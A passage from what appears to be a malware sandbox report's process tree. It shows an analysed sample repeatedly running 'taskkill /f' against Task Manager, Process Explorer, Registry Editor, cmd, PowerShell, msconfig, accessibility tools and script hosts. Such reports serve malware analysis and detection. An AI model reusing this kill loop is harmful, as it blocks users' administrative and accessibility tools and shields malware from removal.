    taskkill /f /im mmc.exe
    3⤵
    PID:1284
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:4764
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2396
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5768
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:2280
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:2112
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:2288
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1228
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:4952
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:1276
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5164
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:4296
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5008
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5424
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:2904
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4808
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:4052
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:2196
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    - Kills process with taskkill
    PID:2716
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:1776
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4780
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:4488
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:5840
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:3764
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    - Kills process with taskkill
    PID:3024
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4272
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:1988
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4460
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:1596
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:5260
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2740
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:3688
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5700
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:412
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:3812
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5356
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:4464
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:1396
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4544
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:3340
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:1892
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:2320
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:2904
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:5784
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5940
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:836
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:5988
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:6036
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:5112
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2032
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1996
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:3612
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5500
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5068
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5104
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:3572
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:4856
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:2192
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4748
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:3508
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:6112
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:5056
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:960
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:3828
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:2100
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:5276
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4960
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:1828
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3624
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2540
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:5928
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:3540
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:4852
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5256
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5380
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4464
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2416
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:6048
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:4236
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:2096
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5880
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    - Kills process with taskkill
    PID:1356
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4700
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:4192
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:5260
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:4964
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:4052
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:4920
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:2268
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:2744
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3440
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2248
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    - Kills process with taskkill
    PID:3300
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5948
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:3212
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:1840
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:2676
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:2012
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:4868
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:6028
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:5236
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:564
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:5636
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:1284
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:1252
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:2032
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:2244
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:488
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:5280
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:4816
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:3044
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:4020
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6056
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:3772
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:700
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5456
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:2600
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:1760
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:1812
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4164
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:1588
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4240
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:5084
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:2456
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:5664
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3604
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:2480
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:1220
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:3532
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3120
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2832
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:1380
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:6140
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:428
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:3224
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:1064
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:2776
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:3624
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:1236
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:5344
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:2476
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:3120
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:700
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2252
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3112
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:4008
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4952
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:2196
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:2200
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:5316
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:1940
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:4240
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:4388
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:4764
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4052
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:552
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4024
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:3120
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5360
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4936
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:4912
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5312
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:3676
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:3704
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:1588
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3304
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:5664
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:6052
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:2020
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3544
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2012
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:5940
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:5584
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5312
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:3488
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:2004
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4236
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:3788
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:5244
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5108
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4208
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:5616
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:3624
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:1176
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:3732
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:5388
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5348
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2924
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:3568
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:6048
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4348
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3848
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4912
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2404
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:388
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:2396
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5648
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5096
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:1824
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:1588
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:564
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:3444
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:2268
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:2936
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3832
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:3696
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:3488
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:3404
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:1892
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:4696
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:5604
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:2240
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:1952
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:4056
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:1816
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:2892
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5008
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5312
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4296
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:4828
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:3816
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4976
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:4888
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4164
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:3524
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:5444
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:4496
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5896
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:3960
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2752
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:5004
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:6008
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3392
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:928
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:2520
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:1764
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:4320
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:5484
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4704
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:3312
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:3316
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:4456
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:2520
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:4236
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:3224
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:4088
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:4468
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:3776
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3816
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:5644
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4928
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4248
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:2096
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:1660
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2396
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:5220
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:1112
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5932
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:3604
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5216
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:3524
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:1048
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4320
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:3408
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5904
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:3440
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:3088
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:4108
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3080
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:5620
- - C:\Windows\SYSTEM32\taskkill.exe
